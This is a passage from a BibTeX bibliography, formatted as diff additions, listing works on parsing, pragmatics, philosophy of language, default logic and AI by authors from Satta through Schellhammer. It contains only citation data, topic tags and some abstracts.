fragments of translation examples. + The translation process of MBT2 consists of three stages: (1) + Making a source-matching expression from a source sentence. (2) + Transferring a source-matching expression into a target-matching + expression. (3) Constructing a target sentence from a + target-matching expression. This mechanism generates several + translation candidates and the score of a translation is defined + to select the best translation out of them. } , + topic = {case-based-reasoning;machine-translation;} + } + +@article{ satta-stock:1994a, + author = {Giorgio Satta and Oliviero Stock}, + title = {Bidirectional Context-Free Grammar Parsing for Natural + Language Processing}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {123--164}, + acontentnote = {Abstract: + While natural language is usually analyzed from left to right, + bidirectional parsing is very attractive for both theoretical + and practical reasons. In this paper, we describe a formal + framework for bidirectional tabular parsing of general + context-free languages, and some applications to natural + language processing are studied. The framework is general and + permits a comparison between known approaches and the algorithms + outlined here. A detailed analysis of the redundancy problem is + given and a technique for improving the performance of + bidirectional tabular parsers, whilst maintaining the + flexibility of bidirectional strategies, is described. An + algorithm for head-driven parsing and a general algorithm for + island-driven parsing are studied. The former allows analyses of + each constituent to be triggered by some fixed immediately + dominated element, chosen on the basis of its information + content. The latter permits analyses to start from any + dynamically chosen positions within the input sentence, + combining bottom-up and top-down processing without redundancy. } , + topic = {bidirectional-parsing;parsing-algorithms;} + } + +@inproceedings{ satta-brill:1996a, + author = {Giorgio Satta and Eric Brill}, + title = {Efficient Transformation-Based Parsing}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {255--262}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;} + } + +@inproceedings{ satta-henderson:1997a, + author = {Giorgio Satta and John C. Henderson}, + title = {String Transformation Learning}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {444--451}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;} + } + +@article{ satta:1998a, + author = {Giorgio Satta}, + title = {Review of {\it Parsing with Principles and + Classes of Information}, by {P}aola {M}erlo}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {167--172}, + xref = {Review of merlo:1996a.}, + topic = {principle-based-parsing;} + } + +@article{ saul:2002a, + author = {Jennifer M. Saul}, + title = {Speaker Meaning, What is Said, and What is Implicated}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {2}, + pages = {228--248}, + topic = {speaker-meaning;implciature;} + } + +@article{ saul_j:1993a, + author = {Jennifer Saul}, + title = {Still an Attitude Problem}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {4}, + pages = {423--435}, + topic = {propositional-attitudes;context;} + } + +@unpublished{ saul_j:1999a, + author = {Jennifer Saul}, + title = {Speaker Meaning, What is Said, and + What is Implicated}, + year = {1999}, + note = {Unpublished manuscript, University of Sheffield}, + topic = {speaker-meaning;implicature;} + } + +@article{ saul_j:2001a, + author = {Jennifer M. Saul}, + title = {Review of {\it Implicature}, by {W}ayne {A}. {D}avis}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {630--641}, + xref = {Review: davis_wa:1998a}, + topic = {implicature;Grice;} + } + +@incollection{ saul_l-pereira_f:1997a, + author = {Lawrence Saul and Fernando Pereira}, + title = {Aggregate and Mixed-Order {M}arkov Models for Statistical + Language Processing}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {81--89}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;corpus-statistics; + n-gram-models;word-sequence-probabilities;} + } + +@article{ saund:1992a, + author = {Eric Saund}, + title = {Putting Knowledge into a Visual Shape Representation}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {1--2}, + pages = {71--119}, + acontentnote = {Abstract: + This paper shows how a representation for visual shape can be + formulated to employ knowledge about the geometrical structures + common within specific shape domains. In order to support a wide + variety of later visual processing tasks, we seek + representations making explicit many geometric properties and + spatial relationships redundantly and at many levels of + abstraction. We offer two specific computational tools: (1) By + maintaining shape tokens on a Scale-Space Blackboard, + information about the relative locations and sizes of shape + fragments such as contours and regions can be manipulated + symbolically, while the pictorial organization inherent to a + shape's spatial geometry is preserved. (2) Through the device of + dimensionality-reduction, configurations of shape tokens can be + interpreted in terms of their membership within deformation + classes; this provides leverage in distinguishing shapes on the + basis of subtle variations reflecting deformations in their + forms. Using these tools, knowledge in a shape representation + resides in a vocabulary of shape descriptors naming + constellations of shape tokens in the Scale-Space Blackboard. + The approach is illustrated through a computer implementation of + a hierarchical shape vocabulary designed to offer flexibility in + supporting important aspects of shape recognition and shape + comparison in the two-dimensional shape domain of the dorsal + fins of fishes. } , + topic = {visual-reasoning;shape-recognition;} + } + +@article{ saunders:1958a, + author = {John Turk Saunders}, + title = {A Sea Fight Tomorrow}, + journal = {Philosophical Review}, + year = {19}, + volume = {67}, + pages = {367--378}, + missinginfo = {number}, + topic = {Aristotle;future-contingent-propositions;} + } + +@incollection{ saunders:2000a, + author = {Simon Saunders}, + title = {Tense and Indeterminateness}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S600--S611}, + address = {Newark, Delaware}, + topic = {(in)determinism;quantum-mechanics;tmix-project;} + } + +@book{ saurer:1984a, + author = {Werner Saurer}, + title = {A Formal Semantics of Tense, Aspect, and {A}ktionsarten}, + publisher = {Indiana University Linguistics Club}, + year = {1984}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-semantics;tense-aspect;} + } + +@unpublished{ saurer:1985a, + author = {Werner Saurer}, + title = {Zeno's Arrow and Interval-Based Tense Logic}, + year = {1985}, + note = {Unpublished manuscript, State University of New York + at Albany}, + topic = {paradoxes-of-motion;temporal-logic;} + } + +@article{ saurer:1993a, + author = {Werner Saurer}, + title = {A Natural Deduction System for Discourse Representation Theory}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {3}, + pages = {249--302}, + topic = {proof-theory;discourse-representation-theory;pragmatics;} + } + +@book{ savage_cw-anderson_ca:1989a, + editor = {C. Wade Savage and C. Anthony Anderson}, + title = {Rereading {R}ussell, Essays in Bertrand Russell'S + Metaphysics and Epistemology}, + publisher = {University of Minnesota Press}, + year = {1989}, + address = {Minneapolis}, + ISBN = {0816616493}, + topic = {Russell;} + } + +@article{ savage_l:1951a, + author = {Leonard Savage}, + title = {The Theory of Statistical Decision}, + journal = {Journal of American Statistics Association}, + volume = {46}, + year = {1951}, + pages = {55--67}, + topic = {statistics;decision-theory;foundations-of-utility;} + } + +@book{ savage_l:1972a, + author = {Leonard Savage}, + title = {The Foundations of Statistics}, + publisher = {Dover}, + year = {1972}, + address = {New York}, + edition = {2}, + topic = {statistics;decision-theory;foundations-of-utility;} + } + +@incollection{ savan:1965a, + author = {David Savan}, + title = {Socrates' Logic and the Unity of Wisdom and Temperance}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {20--26}, + address = {Oxford}, + topic = {Plato;philosophical-psychology;} + } + +@incollection{ savitt:2000a, + author = {Steven F. Savitt}, + title = {There's No Time Like the Present (in {M}inkowski + Space-Time}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S563--S574}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;relativity-theory;} + } + +@incollection{ sawaragi-etal:1977a, + author = {Y. Sawaragi and K. Inoue and H. Nakayama}, + title = {Multiobjective Decision Making with Applications to + Environmental and Urban Design}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {358--388}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@article{ say-kuru:1996a, + author = {A.C. Cem Say and Selahattin Kuru}, + title = {Qualitative System Identification: Deriving Structure from + Behavior}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {1}, + pages = {75--141}, + acontentnote = {Abstract: + Qualitative reasoning programs (which perform simulation, + comparative analysis, data interpretation, etc.) either take the + model of the physical system to be considered as input, or + compose it using a library of model fragments and input + information about how to combine them. System identification is + the task of creating models of systems, using data about their + behaviors. We present the qualitative system identification + algorithm QSI, which takes as input a set of qualitative + behaviors of a physical system, and produces as output a + constraint model of the system. QSI's output is guaranteed to + produce its input when simulated. Furthermore, the QSI-made + models usually contain meaningful ``deep'' parameters of the + system which do not appear in the input behaviors. Various + aspects of QSI and its applicability to diagnosis, as well as + the model fragment formulation problem, are discussed. } , + topic = {diagnosis;qualitative-reasoning; + qualitative-system-identification;system-modeling;} + } + +@article{ sayre:1963a, + author = {Kenneth M. Sayre}, + title = {Review of {\it How to Do Things With Words}}, + journal = {Philosophical Studies}, + year = {1963}, + volume = {41}, + pages = {179--187}, + missinginfo = {number}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@book{ sayre:1997a, + author = {Kenneth M. Sayre}, + title = {Belief and Knowledge: Mapping the Cognitive Landscape}, + publisher = {Rowman and Littlefield}, + year = {1997}, + address = {Lantham, Maryland}, + topic = {epistemology;propositional-attitudes;belief;} + } + +@incollection{ sayremccord:1989a, + author = {Geoffrey Sayre-McCord}, + title = {Functional Explanations and Reasons as Causes}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {137--164}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reasons-for-action;} + } + +@article{ sayward-durant:1967a, + author = {Charles Sayward and Michael Durrant}, + title = {Austin on Whether Every Proposition Has a Contradictory}, + journal = {Analysis}, + year = {1967}, + volume = {27}, + pages = {167--170}, + missinginfo = {number}, + topic = {JL-Austin;} + } + +@incollection{ sbisa:1992a, + author = {Marina Sbis\'a}, + title = {Speech Acts, Effects, and Responses}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {100--111}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;discourse-analysis;pragmatics;} + } + +@incollection{ sbisa:1999a, + author = {Marina Sbis\'a}, + title = {Presupposition, Implicature and + Context in Text Understanding}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {324--338}, + address = {Berlin}, + topic = {context;presupposition;implicature;} + } + +@article{ scandura-etal:1974a, + author = {Joseph M. Scandura and John H. Durnin and + Wallace H. Wulfeck {II}}, + title = {Higher Order Rule Characterization of Heuristics for + Compass and Straight Edge Constructions in Geometry}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {2}, + pages = {149--183}, + acontentnote = {Abstract: + A quasi-systematic method for specifying heuristics in problem + solving was proposed and illustrated with compass and straight + edge constructions in geometry. Higher order rules (operator + combination methods) were constructed for the two loci, similar + figures, and auxiliary figures problems identified by Pólya + [12]. The higher order rules specified were precise, compatible + with the heuristics identified by Pólya, and seemed to reflect + the kinds of relevant knowledge that successful problem solvers + might have. Overall, the analyses demonstrated the viability of + the analytic method, and provide further evidence in support of + the competence theory [16] on which the analyses were based. + Implications of this research for work in simulation and + artificial intelligence, and in education were discussed, and + future directions indicated. } , + topic = {problem-solving;geometrical-reasoning;} + } + +@article{ scanlon:2000a, + author = {Thomas Scanlon}, + title = {Diophantine Geometry from Model Theory}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {7}, + number = {1}, + pages = {37--}, + topic = {algebraic-geometry;number-theory;model-theory;} + } + +@book{ scarre:1996a, + author = {Geoffrey Scarre}, + title = {Utilitarianism}, + publisher = {Routledge}, + year = {1996}, + address = {London}, + contentnote = {A textbook.}, + topic = {utilitarianism;} + } + +@article{ scarrow:1963a, + author = {D.S. Scarrow}, + title = {On an Analysis of `Could Have'\, } , + journal = {Analysis}, + year = {1963}, + volume = {27}, + pages = {118--120}, + missinginfo = {A's 1st name, number}, + topic = {JL-Austin;ability;conditionals;counterfactual-past;} + } + +@incollection{ scha:1984a, + author = {Remko Scha}, + title = {Distributive, Collective and Cumulative Quantification}, + booktitle = {Truth, Interpretation and Information}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Jeroen Groenendijk and Theo Janssen and Martin Stokhof}, + pages = {131--158}, + address = {Dordrecht}, + note = {Originally published in 1981.}, + topic = {nl-semantics;plural;} + } + +@incollection{ schabes-joshi:1981a, + author = {Yves Schabes and Arivind K. Joshi}, + title = {Parsing with Lexicalized Tree Adjoining Grammar}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {25--47}, + address = {Dordrecht}, + topic = {parsing-algorithms;TAG-grammar;} + } + +@article{ schabes-waters:1995a, + author = {Yves Schabes and Richard C. Waters}, + title = {Tree Insertion Grammar: A Cubic-Time, Parsable Formalism + that Lexicalizes COntext-Free Grammar without Changing the + Trees Produced}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {4}, + pages = {479--513}, + topic = {grammar-formalisms;TAG-grammar;parsing-algorithms;} + } + +@incollection{ schachter_dl:1989a, + author = {Daniel L. Schachter}, + title = {Memory}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {17}, + pages = {683--725}, + address = {Cambridge, Massachusetts}, + topic = {memory;cognitive-psychology;} + } + +@article{ schachter_p:1985a, + author = {Paul Schachter}, + title = {Lexical Functional Grammar as a Model of Linguistic + Competence}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {4}, + pages = {449--503}, + xref = {Review of bresnan:1982a.}, + topic = {LFG;linguistics-methodology;} + } + +@book{ schade-kunreuther:1999a, + author = {Christian Schade and Howard Kunreuther}, + title = {Worry and Warranties}, + publisher = {Risk Management and Decision Processes Center, The + Wharton School, University of Pennsylvania}, + year = {1999}, + address = {Philadelphia}, + topic = {risk-management;} + } + +@article{ schaeffer:1990a, + author = {Jonathan Schaeffer}, + title = {Conspiracy Numbers}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {67--84}, + topic = {game-playing;search;conspiracy-number-search;} + } + +@article{ schaeffer:2001a, + author = {Jonathan Schaeffer}, + title = {A Gamut of Games}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {29--46}, + topic = {game-playing;} + } + +@article{ schaeffer-vanderhoek:2002a, + author = {Jonathan Schaeffer and H. Jaap van der Hoek}, + title = {Games, Computers, and Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {1--7}, + topic = {computer-games;} + } + +@inproceedings{ schaerf_a:1992a, + author = {Andrea Schaerf}, + title = {On the Role of Subsumption Algorithms in Concept Languages}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {86--97}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;classifier-algorithms;} + } + +@article{ schaerf_m-cadoli:1995a, + author = {Marco Schaerf and Marco Cadoli}, + title = {Tractable Reasoning Via Approximation}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {249--310}, + contentnote = {Idea is to get tractability in theorem proving not + by restricting language but by trying to get approximate + conclusions. The paper seems to use 3 valued logic, nonstandard + consequence.}, + topic = {approximate-theorem-proving;tractable-logics;} + } + +@book{ schafer:1993a, + editor = {A. Schafer}, + title = {{NELS 23}: Proceedings of the Twenty-Third Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1993}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ schafer_rw-markel:1979a, + editor = {Ronald W. Schafer and John D. Markel}, + title = {Speech Analysis}, + publisher = {IEEE Press}, + year = {1979}, + address = {New York}, + topic = {speech-recognition;} + } + +@article{ schaffer:2000a, + author = {Jonathan Schaffer}, + title = {Trumping Preemption}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {4}, + pages = {165--181}, + topic = {causality;} + } + +@incollection{ schane:1976a, + author = {Sanford A. Schane}, + title = {The Best Argument is in the Mind of + the Beholder}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {167--185}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@book{ schank-colby:1973a, + editor = {Roger C. Schank and Kenneth Mark Colby}, + title = {Computer Models of Thought and Language}, + publisher = {W. H. Freeman}, + year = {1973}, + address = {San Francisco}, + ISBN = {0716708345}, + contentnote = {TC: + 1. Allen Newell, "Artificial Intelligence and the Concept of + Mind" + 2. R.F. Simmons, "Semantic Networks: Their Computation and + Use for Understanding English Sentences" + 3. Yorik Wilks, "An Artificial Intelligence Approach to Machine + Translation" + 4. Terry Winograd, "A Procedural Model of Language Understanding" + 5. Roger C. Schank, "Identification of Conceptualizations + Underlying Natural Language" + 6. K.M. Colby, "Simulations of Belief Systems" + 7. R.P. Abelson, "The Structure of Belief Systems" + 10. E. Hunt, "The Memory We Must Have" + 11. R.K. Lindsay, "In Defense of Ad Hoc Systems" + 12. J.D. Becker, "A Model for Encoding of Experiential + Information" + } , + xref = {Review: uhr:1975a.}, + } + +@article{ schank-rieger_cj:1974a1, + author = {Roger C. Schank and Charles J. {Rieger III}}, + title = {Inference and the Computer Understanding of Human Language}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {4}, + pages = {349--412}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See schank-rieger:1974a2.}, + topic = {kr;nl-kr;conceptual-dependency;kr-course;} + } + +@incollection{ schank-rieger_cj:1974a2, + author = {Roger C. Schank and Charles J. {Rieger III}}, + title = {Inference and the Computer Understanding of Human Language}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {119--140}, + xref = {Originally published in Artificial Intelligence 5; 1974. See + schank-rieger_cj:1974a1}, + topic = {kr;nl-kr;conceptual-dependency;kr-course;} + } + +@book{ schank:1975a, + author = {Roger Schank}, + title = {Conceptual Information Processing}, + publisher = {Elsevier Science Publishers}, + year = {1975}, + address = {New York}, + topic = {conceptual-dependency;nl-interpretation;} + } + +@book{ schank-webber:1975a, + editor = {Roger Schank and Bonnie Nash-Webber}, + title = {Theoretical Issues in Natural Language Processing: An + Interdisciplinary Workshop in Computational Linguistics, + Psychology, Linguistics, Artificial Intelligence, 10-13 {J}une + 1975, {C}ambridge, {M}assachusetts}, + publisher = {The {MIT} Press}, + year = {1975}, + address = {Cambridge, Massachusetts}, + topic = {nl-processing;} + } + +@book{ schank-abelson:1977a, + author = {Roger C. Schank and R. Abelson}, + title = {Scripts, Plans, Goals, and Understanding}, + publisher = {Lawrence Erlbaum Associates}, + year = {1977}, + address = {Hillsdale, New Jersey}, + missinginfo = {A's 1st name}, + topic = {conceptual-dependency;planning;nl-interpretation;} + } + +@article{ schank-etal:1980a, + author = {Roger C. Schank and Michael Lebowitz and Lawrence Birnbaum}, + title = {An Integrated Understander}, + journal = {American Journal of Computational Linguistics}, + year = {1980}, + volume = {6}, + number = {1}, + missinginfo = {pages}, + topic = {nl-interpretation;conceptual-dependency;} + } + +@article{ schank-leake:1989a, + author = {Roger C. Schank and David B. Leake}, + title = {Creativity and Learning in a Case-Based Explainer}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {353--385}, + topic = {machine-learning;creativity;explanation;} + } + +@article{ schank-jona:1993a, + author = {Roger C. Schank and Menachem Y. Jona}, + title = {Issues for Psychology, {AI}, and Education: + A Review of {A}llen {N}ewell's `Unified Theories of Cognition'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {375--388}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@incollection{ schank-birnbaum:1994a, + author = {Roger Schank and Lawrence Birnbaum}, + title = {Enhancing Intelligence}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {72--106}, + address = {Cambridge, England}, + topic = {intelligent-tutoring;} + } + +@article{ schank-foster:1995a, + author = {Roger C. Schank and David A. Foster}, + title = {The Engineering of Creativity: A Review of {B}oden's {\it The + Creative Mind}}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {129--143}, + xref = {Review of boden:1990a.}, + topic = {creativity;} + } + +@book{ schank:1997a, + author = {Roger Schank}, + title = {Virtual Learning: A Revolutionary Approach to Building a Highly + Skilled Workforce}, + publisher = {New York: McGraw-Hill}, + year = {1997}, + address = {New}, + ISBN = {0786311487}, + topic = {computer-assisted-instruction;} + } + +@book{ scharfstein:1989a, + author = {Ben-Ami Scharfstein}, + title = {The Dilemma of Context}, + publisher = {New York University Press}, + year = {1989}, + address = {New York}, + ISBN = {0-8147-7916-6}, + topic = {context;social-philosophy;} + } + +@incollection{ schaub:1991a, + author = {Torsten Schaub}, + title = {On Commitment and Cumulativity in Default Logics}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {305--309}, + address = {Berlin}, + topic = {default-logic;} + } + +@incollection{ schaub:1991b, + author = {Torsten Schaub}, + title = {Assertional Default Theories: A Semantical View}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {496--506}, + address = {San Mateo, California}, + topic = {kr;default-logic;kr-course;} + } + +@incollection{ schaub:1998a, + author = {Torsten Schaub}, + title = {The Family of Default Logics}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {77--134}, + address = {Dordrecht}, + topic = {default-logic;nonmonotonic-logic;} + } + +@article{ schaub-bruning:1998a, + author = {Torsten Schaub and Stefan Br\"uning}, + title = {Prolog Technology for Default Reasoning: Proof Theory + and Compilation Techniques}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {1}, + pages = {1--75}, + topic = {logic-programming;applied-nonmonotonic-reasoning; + theorem-proving;default-logic;consistency-checking;} + } + +@article{ schauer:1985a, + author = {Frederick Schauer}, + title = {Slippery Slopes}, + journal = {Harvard Law Review}, + year = {1985}, + volume = {99}, + pages = {361--383}, + topic = {vagueness;} + } + +@incollection{ schauer:2000a, + author = {Holger Schauer}, + title = {From Elementary Discourse Units to Complex Ones}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {46--55}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;discourse-structure;} + } + +@book{ schecker-wunderli:1975a, + editor = {Michael Schecker und Peter Wunderli}, + title = {Textgrammatik: Beitr\"age zum Problem der Textualit\"at}, + publisher = {M. Niemeyer}, + year = {1975}, + address = {T\"ubingen}, + topic = {discourse-analysis;} +} + +@article{ scheffler_i:1955a1, + author = {Israel Scheffler}, + title = {On Synonymy and Indirect Discourse}, + journal = {Philosophy of Science}, + year = {1955}, + volume = {22}, + pages = {39--44}, + xref = {Republication: scheffler_i:1955a2.}, + topic = {synonymy;indirect-discourse;} + } + +@incollection{ scheffler_i:1955a2, + author = {Israel Scheffler}, + title = {On Synonymy and Indirect Discourse}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {793--800}, + address = {Cambridge, Massachusetts}, + xref = {Republication: scheffler_i:1955a1.}, + topic = {synonymy;indirect-discourse;} + } + +@article{ scheffler_i:1957a, + author = {Israel Scheffler}, + title = {Prospects of a Modest Empiricism {I}}, + journal = {The Review of Metaphysics}, + year = {1957}, + volume = {10}, + number = {3}, + pages = {383--400}, + topic = {meaningfulness;logical-positivism;empiricism;} + } + +@article{ scheffler_i:1957b, + author = {Israel Scheffler}, + title = {Prospects of a Modest Empiricism {II}}, + journal = {The Review of Metaphysics}, + year = {1957}, + volume = {10}, + number = {4}, + pages = {602--625}, + topic = {meaningfulness;logical-positivism;empiricism;dispositions;} + } + +@book{ scheffler_i:1982a, + author = {Israel Scheffler}, + title = {Beyond the Letter: A Philosophical Inquiry into + Ambiguity, Vagueness and Metaphor in Language}, + publisher = {Routledge and Kegan Paul}, + year = {1982}, + address = {London}, + xref = {Review: stich:1982a}, + topic = {vagueness;ambiguity;metaphor;pragmatics;} + } + +@article{ scheffler_u:2000a, + author = {Uwe Scheffler}, + title = {Review of {\it The Logic of Intentional + Objects: A {M}einongian Version of Classical + Logic}, by {J}acek {P}a\'sniczek}, + journal = {Studia Logica}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {429--446}, + xref = {Review of: pasniczek:1998a.}, + topic = {Meinong;intensionality;(non)existence;} + } + +@incollection{ schegloff:1972a, + author = {Emmanuel A. Schegloff}, + title = {Sequencing in Conversational Openings}, + booktitle = {Directions in Sociolinguistics}, + publisher = {Holt, Rinehart and Winston}, + year = {1972}, + editor = {J.J. Gumperz and D.H. Hymes}, + pages = {346--380}, + topic = {ethnomethodology;conversation-analysis;} + } + +@incollection{ schegloff:1972b, + author = {Emmanuel A. Schegloff}, + title = {Notes on Conversational Practice: Formulating Place}, + booktitle = {Studies in Social Interaction}, + publisher = {Free Press}, + year = {1972}, + editor = {D. Sudnow}, + pages = {95--135}, + address = {New York}, + topic = {ethnomethodology;conversation-analysis;} + } + +@incollection{ schegloff:1979a, + author = {Emmanuel A. Schegloff}, + title = {Identification and Recognition in Telephone Conversation + Openings}, + booktitle = {Everyday Language: Studies in Ethnomethodology}, + publisher = {Irvington}, + year = {1979}, + editor = {G. Psathas}, + pages = {23--78}, + address = {New York}, + missinginfo = {E's 1st name.}, + topic = {ethnomethodology;conversation-analysis;} + } + +@incollection{ schegloff:1979b, + author = {Emmanuel A. Schegloff}, + title = {The Relevance of Repair to Syntax-for-Conversation}, + booktitle = {Syntax and Semantics 12: Discourse and Syntax}, + publisher = {Academic Press}, + year = {1979}, + editor = {T. Givon}, + pages = {261--288}, + address = {New York}, + topic = {conversation-analysis;pragmatics;} + } + +@incollection{ schegloff:1984a, + author = {Emmanuel A. Schegloff}, + title = {On Some Questions and Ambiguities in Conversation}, + booktitle = {Structures of Social Action}, + publisher = {Cambridge University Press}, + year = {1984}, + editor = {J.M. Atkinson and J. Heritage}, + address = {Cambridge}, + missinginfo = {date is a guess.}, + topic = {conversation-analysis;} + } + +@incollection{ schegloff:1991a, + author = {Emanuel A. Schegloff}, + title = {Conversation Analysis and Socially + Shared Cognition}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {150--171}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@incollection{ schegloff:1992a, + author = {Emmanuel A. Schegloff}, + title = {To {S}earle on Conversation: A Note in Return}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {113--128}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;discourse-analysis;pragmatics;} + } + +@book{ schein:1993a, + author = {Barry Schein}, + title = {Plurals and Events}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, MA}, + topic = {nl-semantics;plural;events;sem-course;} + } + +@incollection{ schellhammer-etal:1998a, + author = {Ingo Schellhammer and Joachim Diederich and Michael Towsey + and Claudia Brugman}, + title = {Knowledge Extraction and Recurrent Neural Networks: An + Analysis of an {E}lman Network Trained on a Natural + Language Learning Task}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = 